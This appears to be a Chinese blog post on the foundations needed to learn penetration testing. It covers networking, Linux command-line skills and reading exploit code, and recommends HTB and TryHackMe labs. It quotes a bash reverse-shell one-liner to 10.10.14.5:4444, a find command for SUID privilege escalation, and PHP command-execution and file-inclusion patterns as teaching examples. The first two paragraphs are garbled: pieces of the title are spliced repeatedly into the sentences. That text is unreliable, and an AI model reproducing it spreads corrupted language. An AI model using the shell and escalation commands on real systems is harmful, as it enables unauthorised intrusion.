学渗透需要什么基础

很多人以为学渗透得先把计算机网络、学渗操作系统、透需编程语言全啃一遍，什基等“基础打牢”了再碰靶场。学渗这个想法害人不浅。透需我见过一个211计算机专业的什基学生，大二就把《TCP/IP详解》卷一卷二翻了三遍，学渗结果第一次打HTB的透需靶机，连目标开了什么端口都不知道怎么查。什基反倒是学渗另一个非科班出身、只会点Python和Linux基本命令的透需家伙，从TryHackMe的什基简单房间开始，三个月就拿到了第一台域控。学渗

差别在哪？透需前者把基础当成了目的，后者把基础当成了工具。什基

那到底需要什么基础？我拆成三块说，但别指望按顺序学完再动手。

网络：别背OSI七层，先搞懂一个包怎么走

你不需要背熟每一层的协议头。但必须清楚：当你在浏览器输入一个IP，数据包从你的网卡出去，经过网关、路由器、防火墙，最后到达目标服务器，这一路上哪些设备会看包的哪个字段。抓一次包比看十页书管用。Wireshark装好，随便访问一个HTTP网站，过滤出你的IP，看看三次握手长什么样。然后试试用nc发一个手工的GET请求，看服务器怎么回。这个过程里遇到不懂的再回去查，效率高十倍。

DNS、HTTP、TCP、ICMP这四个先吃透。ARP欺骗为什么能生效？因为ARP没有认证。为什么nmap的SYN扫描比全连接扫描隐蔽？因为没完成三次握手。这些问题的答案不在教科书里，在你亲手发包的终端里。

Linux：别学系统管理，学怎么在命令行活下来

渗透测试90%的时间你面对的是Linux。不是让你去考RHCE，是让你能熟练做这几件事：管道和重定向、grep/sed/awk三件套、权限位（特别是SUID和SGID）、cron和systemd的基本操作。一个真实场景：你拿到了一个低权shell，想找SUID提权，命令是find / -perm -4000 -type f 2>/dev/null。如果连这个都敲不利索，后面就别谈了。

还有，学会看日志。/var/log/auth.log里藏着SSH爆破的痕迹，/var/log/apache2/access.log里能发现webshell的访问记录。这些不是“运维知识”，是渗透的基本功。

编程：不需要会写，但必须会读

你不需要从零写一个漏洞利用工具。但必须能读懂Python和Bash脚本。比如一个反弹shell的payload：bash -i >& /dev/tcp/10.10.14.5/4444 0>&1，你得知道每个重定向在干什么。再比如看到一段PHP代码，能认出system($_GET['cmd'])是命令执行，include($_GET['page'])是文件包含。

我自己的习惯是：遇到看不懂的exp，先注释掉所有行，一行一行恢复执行，看哪一行触发了什么。这个过程比看教程慢，但记得牢。Python的话，requests和socket两个库够你应付大部分场景了。至于C，等你要写缓冲区溢出exp的时候再学，不着急。

最后说个反常识的：英语阅读能力比数学重要得多。最新的漏洞分析、PoC、安全会议slides全是英文。你翻墙看个HackTheBox的官方writeup都费劲的话，技术天花板很快就到了。我认识一个渗透测试工程师，数学只记得微积分基本定理，但能流畅读CVE Details和Exploit-DB的原始报告，照样挖到过CVE。

基础不是门槛，是干粮。你不需要吃完再上路，边走边啃就行。今天就去装个Kali，打开TryHackMe的“Pre Security”路径，第一关就是让你用浏览器开发者工具改一个网页的隐藏字段。做完那一关，你就已经比光看书的人强了。